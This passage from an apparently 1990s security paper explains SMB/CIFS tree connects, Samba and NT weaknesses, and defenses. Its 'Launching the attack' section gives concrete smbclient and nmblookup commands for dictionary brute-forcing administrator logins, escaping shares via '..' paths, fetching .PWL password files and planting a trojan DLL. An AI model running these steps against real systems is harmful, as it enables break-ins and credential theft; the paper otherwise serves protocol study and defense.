to
shut down when the event log fills, but that just allows an even worse
denial
of service.
Phase 4: IPC Tree connect
=========================
Now that we are logged in, we can begin exploring what resources the target
has to offer.  A "tree connect" traditionally implies a directory tree in a
filesystem, but in SMB there is special type of shared resource referred to
as
a named pipe or IPC -- familiar terms to Unix people.  Tree connect is
sometimes also called StartConnection or TCon.  A tree connect is performed
to
access any resource, be it a filesystem, a printer, or a named pipe.  Pipes
provide a means for exchanging "API calls" of various types between client
and
server, and besides mentioning a couple of specific API types this document
does not cover them in any further detail.  Besides, according to CIFS the
newer [and Microsoft-originated, rather than third-party?] RPC facility is
the recommended interface for such things, implying that the named-pipe API
may eventually be phased out.  Nonetheless the current interface to get
information about the server is still a named-pipe transaction, so in this
case we need to do an IPC tree connect to obtain the server's "share list"
and
discover what *other* things we can connect to.
There is a field in this SMB for a password, which is used if needed for
accessing filesystems on share-level servers.  The IPC tree connect we need
here should not require a password, but there may be odd cases or other
types
that do.  The other fields contain the service type and name which in this
specific case are the two strings "IPC" and "\\SERVER\IPC$".  There is an
AndX
form of this SMB so more requests can be chained onto it -- often used for
quick one-off requests such as getting share lists.  Sometimes the tree
connect itself is tacked on to the SMB session setup as the AndX request.
In
general if a given phase doesn't appear by itself in a packet dump, check
for
an AndX in the previous request.  For example, session setup returning with
a
nonzero TID probably resulted from sending the setup and TCon as one big
SMB.
The Microsoft "net view \\servername" command should show the share-list of
the target, EXCEPT for any "hidden" sharenames that end with "$" per the
stupid client-side design.  [This is described below.]  If no existing TCP
session is established yet, "net view" will behind the scenes go through all
the SMB steps needed to get to this point.  We can usually see any and all
shares with smbclient, where we specify "-L servername" to list them and
some
other info such as browse lists of neighboring machines.  These lists are
all
gotten via API transactions of various sorts with the well-known standard
"\PIPE\LANMAN" service -- possibly because LANMAN 1 was the first dialect to
support named pipes at all.  This a black box in the scope of this document
but suffice to say it involves wacky strings like "WrLehDO" and "B16BBDz"
plugged into SMB "Trans" requests.  Some but not nearly all of this is
documented in CIFS.
A successful tree connect response fills in a two-byte SMB header field
called
the tree-ID or TID.  This is another arbitrary cookie that the client must
send back in with any subsequent interactions with the resource in question.
A client can have more than one active TID at a time.  Once the IPC TID is
established, I/O to the named pipe can begin.  After any successful TCon,
the
TCP connection should remain open even if there is no subsequent SMB
activity
for a while.  CIFS states that correct server behavior is that it should
only
time out truly inactive client connections, where "inactive" is apparently
defined as having no current tree connections and not sending any SMB
requests, but most servers seem to eventually knock down connections with
or without active TIDs anyway.
Errors here are many and varied, and again interpret_error helps us figure
out what is going on.  In user-level security "access denied" means that the
tree connect was attempted without the necessary prior authentication from
SessionSetupAndX, and in share-level may simply mean the wrong share
password
was given.  "Bad password" is more common in the latter case.  Another
common
error is "invalid network name" from an attempt to connect to some resource
that the server doesn't have.  Samba issues server-class "access denied" if
its IP-level allow/deny configuration disallows a service TCon.  For the
most
part if any errors other than those just described are returned from an IPC
TCon, we are probably in a fairly hopeless state and should start over.
Some old clients cannot do user-level security, so the CIFS spec optionally
allows for backward compatibility by having the server assume that the
calling
name of a client machine is also the username for session setup purposes.
If the caller name maps to a known username and that user's correct password
is supplied as a share password in a TCon, an implicit user login is
performed
and SetupAndX can be skipped.  NT and possibly other user-level Microsoft
servers don't seem to comply with this, handing back "bad UID" errors for
other SMB requests until a real session setup is completed.  Samba supports
it
by building an internal concept of the "potential user" of a given
connection
and checking if various names and SMB parameters from previous phases are
valid usernames and passwords.  This does not necessarily imply protocol
weakness or that SetupAndX should be skipped if possible -- Samba does most
of its logging at TCon time, for example.  Besides, changing the attempted
username in this scenario requires a new client connection with a different
caller name.  Generally if a server specifies user-level security then any
brute-force attack should be performed at the setup phase.
Some servers deny certain kinds of API calls based on the rights of the user
login; in particular, giving NT both a null username *and* password allows a
session setup but is recorded [if at all] as an "anonymous" login rather
than
GUEST, and seems to deny viewing the share list and server info but allow
viewing the browse list.  This is likely intentional, since clients need
to make such periodic quick connections to master browsers to collect more
"network neighborhood" info.  [See Samba's "nmbsync" utility for an
example.]
To clarify somewhat, a *share* list is equivalent to the exported
filesystems
on the target server, and a *browse* list contains names of neighboring
computers.  This can easily be confused, especially where smbclient's
routine
to list server shares is still called browse_host!  Again, a server with a
browse list often can be address-queried for each of the listed names to
find
more targets.  If we can dump the share list, this informs us what
filesystem
shares we might be able to start fooling with in the next phase.
Phase 5: Fileshare tree connect
===============================
This is the same as any other tree connect except that the service type
becomes "A:" to mean "disk" [go figure...] and we connect to "\\SERVER\FOO"
where FOO is the sharename.  Fileshares generally begin at a subdirectory
somewhere in the local disk, and their names are usually unrelated to the
subdirectory path.  Sharenames are chosen by human administrators, which
along
with the optional comment fields visible in the share list might at least
hint
at what they encompass.  A mounted share makes the subdirectory and
everything
from there downward visible to a client across the network.
This phase is reached via successful completion of the client commands most
familiar to users.  Usernames and passwords from dialogs or command-line
arguments are supplied where needed.  Doing "Net use * \\SERVER\SHARE" makes
a
Microsoft client try contacting SERVER, mount the named SHARE, and assign
the
next free drive letter to it.  "Smbclient \\\\SERVER\\SHARE" with optional
arguments is roughly equivalent, although the mount is only per-process and
is
disconnected when smbclient exits.
A new TID is returned on success, which thereafter must appear in every SMB
header that refers to this mount.  Almost all servers implement a
distinction
between read-only access to a fileshare and read-write.  WFWG and other
share-level servers often provide for two possible passwords, one of which
allows writing to the share.  User-level servers usually ignore any supplied
TCon password and presumably assign access rights based on the connecting
user.  NT of course has its slew of user privileges and ACLs on files and
directories -- the much-ballyhooed holdovers from VMS.  Samba primarily
relies
on Unix file permissions, madly swapping its effective unix UID around to
match that of corresponding SMB user session before trying to access files.
Samba also imposes several restrictions on "guest" sessions, such as not
being able to write anything.  There doesn't seem to be any clean way of
determining a remote session's access rights other than trying to perform
various operations.  Retrieving a directory or file obviously indicates
successful read access, and a simple low-impact way to check for write
access
is to try creating and then deleting a new directory.  At first this all
sounds reasonably secure if the surrounding UID and TID checking is sound,
but there are still a few problems with the fundamental design.
Most of the possible errors from this step have already been mentioned.
"Access denied" or "bad password" mean the obvious in user or share level
security modes; NT sends the former if a regular user tries to connect to
any
of the special C$ or ADMIN$ type of shares described below.  Share-level
servers usually allow unlimited guesses at share passwords, and deliberate
delays for incorrect passwords are almost unheard of here.  Thus they are
not
only open to the same types of brute-force attacks over the network, such
attacks can proceed almost at the speed of the intervening wire.  If the
guesses come in too fast some servers can't handle it and just belly-up --
WFWG is one example -- and it is often necessary to throttle back the
guessing
rate just to get all the way through a dictionary.
Microsoft clients seem to treat any resource name ending with "$" as
"hidden"
and it is even documented that while such fileshare names won't show up
during browsing, they are available to someone who "knows the name."  In
most cases smbclient will gladly show us all the hidden shares on a server
regardless, since once again any such concealment is up to the client side.
Interestingly, "IPC$" also falls into this class.  NT almost always sets up
a
predefined set of hidden administrative "default" shares, named "C$" for the
whole C drive, "D$" for the whole D drive if present, and "ADMIN$" or
perhaps
"WINNT$" pointing into the top of the system directory.  While visible via
smbclient, TCons to them by anything other than an administrator login are
generally denied but are always worth trying anyway.  As mentioned in
several
NT security texts these sharenames are automatically set up at every reboot,
making it likely that a cracked administrator password gives carte blanche
access to the entire machine.
Once a fileshare tree connection has been made, normal network-filesystem
I/O is possible using more SMBs to read and write files, search directories,
get and set attributes, do exclusive locks, or whatever.  This is why SMBs
can be large -- for efficiency, since data read or written occupies the
buffer portion of the blocks.  As in NFS, there is no concept of the current
directory except in the client, which must construct and send a full
pathname
along with the right TID for every file reference.  Despite the spec stating
that having any active tree connect should disable server timeouts, most
clients periodically send some kind of null SMB to keep things warm --
either
a SMB echo or, in the case of Samba, a status check of the root directory.
The opposite of TCon is an SMB called Tree Disconnect or TDis, which tears
down an existing TCon and invalidates the TID.  The transport connection
remains open for some time afterward, during which other SMBs including a
new
TCon can be issued.  Multiple tree connects can be currently active, such as
an open fileshare or two and a quick IPC to get an updated browse list or
something.
The ability to make several arbitrary fileshare tree connects has an
interesting side effect against Samba servers, which commonly make user home
directories available as the special [HOMES] share.  Where this share points
to changes dynamically if it matches an existing Unix user, and by default
the username to authenticate against is taken from the sharename unless
a different one is specified, say with "smbclient -U".  Thus a TCon to
"\\servername\user" makes just the user's home directory and downward
visible.
However, under many Samba configurations a TCon to the name of some account
whose home directory is "/" allows the client to view the server's entire
filesystem.  Therefore one can user-level authenticate as "joe" but then
TCon
to "root" or "bin" and explore the whole machine, albeit only as joe's Unix
UID.  This also works against a share-level Samba, since we can either
perform
user-level setup regardless or use the "implied user" client-name feature
and
ask for the different user's sharename.  A potentially worse side effect is
that a TCon to the "sharename" of a user that does not exist returns
"network
name not found", while connecting to one that *does* exist either works or
returns "access denied" depending on whether the client is in as a real user
or a guest.  Regardless of TCon success or failure, the extant ones also
start
getting added to the visible share list for that client connection!  This
allows a client to scan for valid usernames even if only logged in as a
guest,
albeit at the risk of being extensively logged.  A bunch of blind TCon
attempts can be made and the Samba server conveniently collects the locally
valid usernames into a viewable list.
Microsoft servers are not immune to such games either, since most Microsoft
clients make a single TCP connection and rely on the UID and integrity of
the
network layer to keep user rights separated.  Once a UID is valid across a
given TCP session, it can be used to mount and mess with pretty much any
other
shares the server offers.  The couple of known exceptions are the special NT
admin shares and Samba's guest restrictions.  As CIFS support is developed
for
other platforms, the same is likely to be true there too.  Some new Unix
variants already have an SMB network fileystem kernel driver.  Unfortunately
servers are required by the spec to place entirely too much trust in client
machines.  For example, a share mounted by one particular user tends to
stick
around unless specifically disconnected, and thus may be available to
another
user who logs in later even if the new user normally has no account or
access
rights on the *server*.  A client could be compromised or network traffic
spoofed to send requests with an altered UID.  It is also not entirely clear
how "isolated" the TCP connections really are from each other, suggesting
that
messing around with UID/TID combinations might turn up a few surprises.  The
server simply expects every client to behave itself.
This was really driven home by the discovery of the now well known "dotdot"
bugs.  Since most filename parsing and cleanup is left to the client, it was
found that smbclient could send requests containing filenames of the form
"..\..\CONFIG.SYS" to easily escape the confines of the share.  Microsoft's
official excuse for this was that Samba is an "illegal client" and shouldn't
be used, but nonetheless released service packs with a couple of pathname
enforcement bandaids slapped on to the server code.  Samba itself didn't
fall
victim to this because its Unix-savvy implementors already knew long since
to
check for ".." and such in pathnames!  Part of the patch kit short circuits
dos_clean_name() to return without touching the given pathname, allowing us
more freedom to send arbitrary file paths and explore bugs of this sort.
This
is not an automated test; one must play and examine some directories to
figure
out whether a bug is being tickled or not.  A fairly reliable way to
automate
such a check is to examine the first entries in directory listings of "\"
and
"..\" and compare file attributes; if they are different then something is
not
quite right.  There may be some other funky path formats that servers handle
badly; earlier versions of NT would even crash when asked for various bogus
pathnames.  There are some SMB flags to indicate support for long filenames,
which may confuse servers if changed in midstream or set under a dialect
that
isn't supposed to support them.
Launching the attack
====================

The preceding explanation has not really detailed the specific real-world
steps needed to implement an attack.  Here we try and pull it all together.
Parameters that will vary are represented {thus}.
The attack engine is built from Samba 1.9.15p8, using the instructions and
patches given in Appendix B.  You will also need some password dictionaries,
which are available from numerous repositories.  If you have read this far,
it seems likely that you can handle this part.
Scan the target network for NetBIOS-aware hosts to build a list of hostnames
and IP addresses, perhaps trying a status query to a couple of them to check
for packet filtering.  The rest of this summarizes probing an individual
target, whose hostname or IP address is hereafter represented by {ip}.
If a known scope ID is in use, add "-i {scopename}" to all nmblookup and
smbclient commands.
Get the target's namelist, using the "*" status query and some type-0 name
guesses if "*" doesn't work.  Directed broadcast to x.y.z.255 may be useful
in
rare cases if one is able to receive all possible responses somehow; note
also
that the broadcast address may not be .255 for many subnets.
 nmblookup -B {ip} -S \*
 nmblookup -B {ip} -S {dns-name}
 nmblookup -B {ip} -S WORKGROUP#0
If a machine sporting the __MSBROWSE__ name is discovered, concentrate on
that
one since it potentially has a browse-list and information about its network
neighbors.  Plug the returned type-0x20 name in and get a share listing.
Use
an informative debug level, avoid using NT LM dialect, hide various client
info, and try some standard usernames and any type-0x3 names observed along
the way.  Many targets will accept a null password, but if a real one is
needed make some basic guesses such as the computername or username.  The
hacked client accepts passwords from standard input until it gets in, gets
interrupted, or hits EOF.
 smbclient -L {TARGET} -I {ip} -d 3 -n " " -m LANMAN2 -U ADMINISTRATOR
 smbclient -L {TARGET} -I {ip} -d 3 -n " " -m LANMAN2 -U ""
For the hard cases, pick a username or sharename that is likely to exist,
and
level a common-password dictionary file at it.  If you have not enabled the
UPPERCASE option, arrange to uppercase the dictionary first since success is
more likely.  Debug level 0 makes it run silently until it gets in or
exhausts
the dictionary.  To test for invalid password delays, use a higher debug
level
and manually observe the timing.  A sudden speedup in access errors probably
indicates account lockout and that further attempts on that account won't be
useful for at least another half an hour or so.
 smbclient -L {TARGET} -I {ip} -d 0 -n " " -m LANMAN2 \
   -U BACKUP < dictfile
Try connecting to the shares on an accessible target, testing for read/write
access, and exercising bugs.
 smbclient \\\\TARGET\\SNAME -n TRUSTME -m LANMAN2 -U JOEUSER -I {ip}
 smb: \> dir
 smb: \> md test
 smb: \> rd test
 smb: \> cd ..
 smb: \..\> dir
 smb: \..\> cd \..\..
 smb: \..\..\> dir
 smb: \..\..\> get config.sys -
 smb: \..\..\> cd windows
 smb: \..\..\windows\> get joeuser.pwl
 smb: \..\..\windows\> put trojan.dll winsock.dll
For the *really* hard cases that impose bad-password delays but allow many
attempts such as NT administrator accounts, split up [and optionally convert
to uppercase] a large dictionary and use the multi-connection hack.  A
convenient way to run it is inside "script", to record the details from any
process that successfully logs in.
 script logfile
 set DOIT = "smbclient -L {TARGET} -I x.y.z.q -d 0 -n ' ' \
   -m LANMAN1 -U ADMINISTRATOR"
 $DOIT < splitdict.1 &
 $DOIT < splitdict.2 &
 $DOIT < splitdict.3 &
 $DOIT < splitdict.4 &
 ... etc, up to 10 or however many concurrent ones it can handle ...
Collect the results, write the report, submit the invoice...
Now what?
=========
Where do we go from here?  If administrator-level access is gained the
possibilities are endless -- an account cracked during an attack is the same
credential needed for remote maintenance and registry editing, to install
hacked web pages and DLLs and drivers, modify startup files to run backdoor
daemons, or just wreak havoc.  Access as a regular user or even guest may
permit such games as well.  If the NT GUEST login is enabled, on most
servers
it gets more privileges than needed unless configured otherwise.  Even
read/write guest access to /tmp on a Samba server may be dangerous if its
shell users run any of hundreds of utilities that bounce critical data in
and
out of /tmp files.  This document does not address problems in other
services
such as FTP and Web since they are exhaustively explored in other documents,
but one should still consider the potential effects of concerted attacks on
those services *and* SMB together.
Intruders are already scanning routinely across the customer networks of
large ISPs, looking for vulnerable home PCs with technically illiterate
owners and factory-default setups.  The notoriously weak .PWL files are a
popular target, and woe betide those who use them to store working passwords
for other services.  The cable-TV modem systems now coming online function
just like bridged ethernets, freely allowing local broadcasts and other
shenanigans, which can turn your next door neighbor into an unintentional
intruder as his '95 box literally explores its "network neighborhood".  If
you
aren't scared yet, consider this scenario: You spend a day at home doing
work
via telecommuting.  Your company is both frugal and security-aware, and has
provided secure connectivity tools that you can use with your regular
personal
ISP account to access corporate files behind the firewalls.  You
inadvertantly
left filesharing "temporarily" turned on from something you were doing two
days ago.  While you are happily SSH'ing away, someone breaks into your
machine via SMB and without your knowledge, sensitive company files and
your personal finance records are stolen, viruses planted, and your secure
connection apps compromised.  Next time you use your SSH client, it quietly
spills its internal beans over the net to a stolen AOL account and within
ten
minutes your internal corporate network is overrun.  Since it appears that
your access credentials were involved, YOU may be held accountable.  But you
didn't do anything, and were always careful with your passwords!  A similar
scenario could easily occur with corporate laptops used to "get home" from
conferences and trade shows, which could still be a problem even if your
laptop is reasonably secure but the one belonging to the guy *next* to you
is
compromised!  Think about it...
The rest of this section wanders into a large area of blue-sky loose ends
that
in large part outlines the limits of the author's current knowledge.
Answers
to many of these may already be known, and if not then much is certainly
left
for those with the time and inclination to explore and think over.  Anyone
is
free to send information concerning any of these, as well as the inevitably
needed corrections to other parts of this document.
Windows cracking tools are already starting to appear.  At least one
password-
snarfing DLL is in the works for NT, as are security-targeted registry
editors
and NTFS tools.  Daemons to listen on network ports and start backdoor
command
shells probably exist already, and if nothing else there are shareware
"inetd"
and telnet-server equivalents available now.  Do not ask me where to get
these
things, because I have no clue.  Pointers, on the other hand, are always
welcome.
The \PIPE\LANMAN service is only one of several named-pipe services.  The
remote registry editor starts up a new IPC TCon and opens "\PIPE\winreg" to
do
its dirty.  Another service type seems to be called
\MAILSLOT\{various-things}
and shows up in browsing-related UDP traffic.  Domain logons try to locate
services such as \NET\NETLOGON and \NET\GETDC450, mostly via broadcast UDP.
There may be many undocumented services and API calls within either class,
reminding us that Microsoft historically likes to hide ill-considered or
insecure functionality there and count on obscurity to resist attack.  There
are also the fledgling DCE/RPC services which apparently are intended to
phase
out named pipes as the recommended transaction backend and clearly present
a whole 'nother swamp to explore.  If it is running, some part of RPC is
reachable via TCP port 135.  It seems likely that some of these services
can be accessed even if the file/printer sharing checkbox is NOT enabled.
Anyone who runs vanilla SMB over the open Internet is crazy, no matter how
good their backend server security is.  The protocol runs in the clear, and
is
thus just as vulnerable to TCP spoofing and hijacking as any other cleartext
session.  All it takes is one properly constructed SMB packet to make an
existing authenticated session do something nasty or blow open a big hole
that an attacker can enter through, and it doesn't even matter what the
server response is or how the real client handles it -- the damage is done.
There are already known man-in-the-middle attacks against the authentication
protocol.  Various SMB header fields are only 16 bits, and in addition have
been observed to be *very* predictable especially from relatively inactive
servers.  For instance, Samba uses the user's own UID for its SMB UID,
and TIDs from a quiet server vary little if at all.  NT seems to rather
consistently assign 2048 for both initial UIDs and TIDs, and increments by
either 1 or 2048 for new connections.  This suggests that blind TCP spoofing
attacks may nonetheless be effective even if an attacker cannot observe an
existing session.
One type of TCP attack involves "desynchronizing" an existing session
between
two hosts and taking over the connection.  As Laurent Joncheray's paper on
the
subject points out, such an attack is aided by the application protocol in
question having some element that sends data through the TCP stream but
causes
no change in the state of the application itself.  An example is telnet
options -- a telnet client can send any number of "do echo" commands and the
end user would never be the wiser.  An attacker uses this type of "null
data"
to push the TCP sequences out of each endpoint's windows, with the only side
effect being an "ack war" between the hosts as they desperately try to
resync,
and eventually the attacker controls the whole connection.  SMB has both an
echo and a session keepalive message, and it is likely that these could also
be used in a user-undetectable desync attack.
While separate TCP SMB sessions are supposed to be completely isolated from
each other, there is always a possibility that a server implementation could
"leak" or get them confused somehow.  Servers generally run as a single
process and manage several client connections internally, but how exactly
does a given one internally reference the parameters associated with each?
The concept of "UID scanning" has been suggested, and while I personally
have
my doubts about it there are still other various SMB fields to consider.  We
should not discount for one moment a server giving too much credence to
client-settable header parameters like UID, TID, PID, MID, and maybe even
source TCP ports.  The twelve filler bytes in TCP SMBs become relevant in
connectionless UDP mode for sorting out session IDs, and it would be no
surprise at all if the right combination of data there was able to, say,
reference an already existing TCP session.  Most server platforms seem able
to talk concurrently via either transport type.
There may be some magic hidden in the calling client name and/or the
username
that the client passes in.  Special user accounts of the form OTHERDOMAIN$
are
used in domain trust relationships, and recent Samba servers that at least
partially support domain logins have a small hook to not turn on the "guest"
bit for this type of user login.  A few remaining bits worth poking at could
include weaknesses in the Microsoft IP stack itself, as well as how well
various ill-formed service requests are handled.  Sending random data to the
listening ports of various NT services such as RPC and DNS can apparently
cause them to wack out or crash, implying that genuine security holes may
lurk there as well.  Snowing a site with bogus NMB name-registration and
master browser election traffic could have many interesting effects on local
workstations.  SMB clients must conform with a rather rigid request
structure,
but what happens if one does not?  Well-known vulnerabilities such as buffer
overflows and trust of user-modifiable data keep recurring in recent network
code under numerous operating systems, and something as large and complex as
NT or '95 is undoubtedly no exception.
Besides the oft-belabored network level denial-of-service attacks possible,
there is also a potential attack written right into the CIFS spec.  It
states
that if a server receives a new session transport connection from a given
client, it MAY assume that a reboot occurred and summarily drop any old
existing connections with that client.  Precisely what a "client" is in this
case is not well-defined, but implies that it is simply based on the claimed
client name.  Only a lunatic would write a server conformant with this, as
it
would allow anyone to remotely knock down SMB sessions all day, and sensibly
enough, none of the platforms mentioned herein allow this sort of nonsense.
Most servers rely on keepalive timeouts and network-level errors to ferret
out
dead client connections.
Defenses
========
It is entirely reasonable to mentally lump CIFS in the same class as NFS,
and
view the security aspects of both with equal skepticism.  It should be
fairly
evident by now that this stuff is a real danger, and the happy kids in
Redmond
aren't going to be much help here.  To their credit, they have provided a
few
interesting bricks you can use when building your own walls and some of
these
are covered in detail in numerous books and FAQs.  The transport protocol is
also fairly easy to handle with familiar IP-level defense mechanisms, making
construction of that "layered defense" more feasible.  It is hoped that the
preceding bulk of this document has increased understanding how to probe
networks for remaining NetBIOS-related weak spots.
Any text or FAQ on Windows or NT security is a good starting point for
things
to change, particularly on servers.  These will detail basics like disabling
or removing privileges from GUEST accounts, changing ADMINISTRATOR account
names and barring them from network logins, preventing remote registry
editing, turning off useless information-leaking services like messaging,
reassigning user and group privileges, configuring failed-login lockouts,
and dinking ACLs/ownerships on files and registry entries.  Servers can be
equipped with batch files to invoke "net share ??? /DELETE" and disable
unnecessary default fileshares after a reboot.  Centralized user management
via domain controllers may help mitigate some administrative nightmares, and
strong user passwords are a must although often difficult to enforce.
An obvious perimeter defense is packet filter rules in border routers to
drop
traffic to TCP *and* UDP ports 135 thru 139.  This prevents direct NetBIOS
and
RPC attacks from the outside, but may not block a relayed proxy connection
or
a curious insider.  Policy may dictate that a few filtering "holes" be left
open for remote collaborators; such things should be configured as narrowly
as
possible, perhaps even down to specific host addresses, and policymakers
should understand that the data in these allowed connections can be stolen
or
corrupted.  Better would be an encrypting proxy relay or VPN of some sort.
If packet filtering is not an option, as at many policy-impaired sites,
there
are still several worthwhile measures available that can help make your
machines "invisible" from the outside.  One is to use a scope ID.  These are
additional components of computernames that Microsoft incomprehensibly
recommends NOT using but provides anyway.  The stated purpose is to isolate
groups of machines from each other in a more complete way than using
different
workgroups.  Similarly to using an obscure "domainname" under Unix YP,
setting
all the machines at a site to use a non-obvious scope ID and keeping it a
secret within a site effectively provides a "site password."  Any NetBIOS
traffic, name queries and session setup alike, must contain the exact same
case-sensitive scope ID or name responses aren't sent and sessions are
rejected.  Scopes are by no means a panacea since they can leak out via
human
vectors, and an astute attacker who observes active listeners on TCP 139 but
cannot obtain name info or sessions may conclude that a non-null scope ID is
in use and start trying to guess or social engineer for it.  The scope is
easily viewed by doing "nbtstat -n" on a local console, so beware of
wandering
outsiders with itchy fingers.  If a site's machines are set up with scope
IDs
by a small core group of maintainers who keep it to themselves, the end
users
are unlikely to even notice anything different unless they specifically look
in the settings or spot them in packet dumps.
Where to set the scope name is often hidden in an obscure place.  This is a
rough outline of where to find it on various platforms; RTFM for others:
 WFWG [requires restart, and happily craps into various .INI files]:
   run WINSETUP; Network settings / Drivers / MS TCP/IP / Setup /
   Advanced / Scope ID text-box
 WFWG alternate, less frustrating:
   edit SYSTEM.INI and find [NBT] section
   add a line with "ScopeID = XYZ"
   note: can also add "LMHostFile = {path}" here to enable LMHOSTS
 W95 and NT [also requires restart]:
   Control panel / Network / Protocols / TCP/IP / Properties /
   WINS Addresses / Scope ID text-box near bottom
 Samba [takes effect during server run]:
   start "smbd" with "-i XYZ" to set the scope ID
Microsoft clients and servers use the scope ID exactly as given, but Samba
always upper-cases it and must be patched if a mixed-case one is to be used.
For compatibility, "nmbloookup" in the attack kit needs a similar patch,
although "smbclient" itself for some reason doesn't mess with the -i
argument.
It is definitely weird that all the scope-handling hooks are already there
in
Samba, but not very clearly documented or listed in usage() messages.
Another easy network-level sleaze is to not supply internal servers with a
default IP route to the internet, and make sure they ignore ICMP redirects
and
routing protocols.  There is little reason a dedicated local fileserver
would
ever need to interact with anything offsite, and public services such as web
servers should exist on different machines anyway.  Packets may still reach
such "nonrouted" machines from the outside, but they cannot send back and
TCP
connection attempts to them simply time out.  NT also seems to have some
rudimentary concept of its own IP packet filtering, said to offer little
versatility but may be worth investigating anyway [and TESTING if
configured!]
Depending on local policy, end-user machines will probably still need to
talk
to the internet so employees can waste time surfing; a wise policy is that
their machines strictly remain clients and never offer any inbound services.
Turning off the file and printer sharing checkboxes is the obvious first
step,
although Microsoft stacks seem to always listen on the NetBIOS ports
regardless of these settings.
The internal protections on server shares are important, on both Microsoft
platforms and Samba alike.  Placing public shares on separate drive
partitions
reduces the potential damage from ".." bugs, since Microsoft servers are
reasonably good about not letting shares cross filesystem boundaries.  If
file
ACLs and modes are available, USE THEM so that any normal user [or a virus
she
inadvertantly runs] would never be able to write to, say, directories full
of
common system utilities.  Making entire shares read-only if possible is
sound,
or if *someone* needs to write to them, separate and closely-held mainenance
accounts should only own the files and not have any administrative
privileges.
While the magic [homes] Samba feature may be useful in some environments,
consider carefully if the arguably free-n-easy way it works may be too lax
for
yours.  A strategy worth considering is building a Samba server with custom
getpwent() routines that dig base user entries out of a file other than
/etc/passwd, which makes a cracked filesharing password considerably less
useful against other daemons on the server machine.
The logging problem is a pain in the butt.  Most servers that log anything
just save the calling client's name, which is hardly useful since it can be
arbitrarily set.  Running a separate network monitor on an unswitched DMZ
segment and looking for certain inbound traffic is one way to centrally
cover
a motley assortment of problematic machines.  Stock Microsoft platforms
simply
cannot log client IP addresses at all, a possible albeit lame rationale
being
that CIFS runs over several different kind of transports and they'd all have
to be accomodated somehow.  Some kind of batch job to periodically wake up
and
snapshot a "netstat -a" to a logfile may help detect attacks, or by now
there
may be some third-party DLLs available that provide better logging and
alarms.
Samba deals more closely with IP addresses but still makes the administrator
jump through hoops to usefully log things.  Under the default debug level of
1 only successful non-IPC tree connects are logged.  The code also includes
an IP-based access control module ripped right out of Wietse Venema's tcp
wrappers, and can be set up to deny tree connects from all but known hosts
and subnets.  The allow/deny access control entries reside in lib/smb.conf,
configured globally and/or per share entry, but they only apply to TCons and
have no effect on the underlying TCP connection itself.  Using them may
nevertheless gain some peace of mind; see the documentation for serving
suggestions.  Supplying an "allow" entry and cranking the debug level up to
at least 2 will cause all TCon attempts to be logged, along with a certain
quantity of other noise.  A small saving grace here is that Samba by default
runs in *share* level, so an attack would take the form of repeated TCon
attempts and cause lots of logging.  This is still not sufficient with user
level security.  User logins are also logged at debug level 2 but only with
the client computername, and one would have to group together many log
entries
to reconstruct an attack footprint.  The best way to deal with Samba would
be
some minimal changes to the server code, perhaps to getpeername() on the
current network socket any time a login *or* TCon is attempted and concisely
log success or failure along with the client name *and* IP address.  Nmbd
could be changed to log status queries at debug level 0 instead of 3, to
help
warn about UDP name-gathering probes even if the "no default route" sleaze
or
scopes are in use.  Sending security-critical logging to the syslog instead
of
Samba's default logfiles would bring it more in line with other daemons and
maybe cause administrators to pay more attention to it.
Snide comments
==============
Although a primary goal has been to point out weakness in the CIFS protocol
and specific implementations, backhanded comments have so far [with some
difficulty] been kept to a minimum.  Readers who are easily upset by a
certain
amount of vendor-bashing or other no-holds-barred dissing are encouraged to
skip this section, where we bump up the nasty level.  Why?  Because it needs
to be stated, partially with the hope of getting certain people to WAKE UP.
Some of this is certainly conjecture, but guesses made here are reasonably
educated.
Experienced Unix people are likely to already understand many of these
issues,
and know the "been there, done that, fixed the code" feeling.  It is sadly
evident that many people running all-Microsoft shops are way behind the
curve
where overall network security is concerned, and still struggling with a lot
of the basics.  Some sites don't know or care, as long as they can get their
electronic ad agencies connected and sell lots of that web-slum real estate
with the spiffy pictures and no content.  We hear of things like complete
trust placed in obscurity measures such as "inside" RAS dialups.  Those who
are starting to play with firewalls often pull such classic stunts as
connecting one in parallel with a regular router and relying on default
routing entries on individual hosts to send traffic to the firewall first.

Blocking relevant IP traffic is often met with managerial resistance or
confusion.  Standard IP-level attacks work against such sites because most
of
them do not really understand TCP/IP, and do not have any useful network
monitoring gear available.  Unix is just foreign and scary, particularly to
these so-called experts who are now popping out of the woodwork and
mindlessly
repeating that laughable lie about NT's C2 rating.  These same people will
tell you how no-brainer bugs like ".." and wide-open registry permissions
are new and hot, but fall right over when asked about crypto algorithms or
wire-level packet structure.  Try mentioning how NetBIOS is just a load of
CACA to such an expert, and expect a blank look in return.
Unix-savvy folks nowadays are used to having source for their operating
systems, especially where there are security concerns, or at least are
easily
able to implement replacements and enhancements to the weak vendor-supplied
stuff.  Microsoft not only makes this unavailable and difficult, it relies
heavily on internal obscurity and deliberate lack of documentation as part
of
security architecture.  Since Microsoft refuses to help even when asked, the
Samba developers have had to go through many contortions and waste a lot of
valuable time reverse-engineering things just to support certain features.
A
reader can *feel* the triumph in those occasional messages to the Samba list
when someone works out one of those "undocumented Microsoft" things and
submits a patch.  Security is often an arms race, which Microsoft is simply
escalating and making worse for everyone by producing yet more flimsy
obscurity.  If it is not there already, NT source code will eventually hit
underground circulation as ubiquitously as that of other "proprietary"
operating systems.  We should expect that numerous exploits of the obscurity
will have even the security-concerned sites falling like dominoes.
As we review some of its more blatant failings, the fundamental design of
CIFS
authentication quickly becomes ridiculous.  The draft even describes several
potentially serious security problems, but inexplicably makes no attempt to
FIX them.  Part of the Internet-drafts process is to design and standardize
new protocols that move the industry forward, not to mire it in outdated toy
protocols that place it at risk!  There is no documented way for server-end
enforcement of secure authentication methods, and no way to provide for
*both*
user-level and share-level modes.  At least two easy MITM attacks make the
challenge-response protocol fall, and it can also be dictionary attacked in
separate piecemeal DES blocks.  Different users with different privileges
can
wind up sharing a single TCP connection, which violates one of the more
traditional [albeit still insecure] ways of holding users apart.  CIFS seems
to have no provision for fully encrypted sessions, despite the the fact that
client and server already share at least one secret key and a few minor
enhancements to SMB could provide real session encryption.  It is clear that
those behind CIFS are still mentally locked into the single user per client
model, since the issues raised by multiuser operating systems were evidently
never considered.  It is almost criminal that other vendors are being forced
by market pressure to waste untold development dollars supporting this mess.
Perhaps Microsoft is nonetheless starting to acknowledge that *something*
needs to be done to replace the existing mockery of an authentication
system.
Apparently there is support for Kerberos 5 authentication on the drawing
board
for NT, if not in alpha by now.  As far as I know Microsoft contributed
nothing to the Krb5 development effort themselves, so why Krb5?  Ostensibly
to
support DCE, but more realistically because Microsoft can just swipe the MIT
code now that it has been well-tested and officially released.  It remains
to
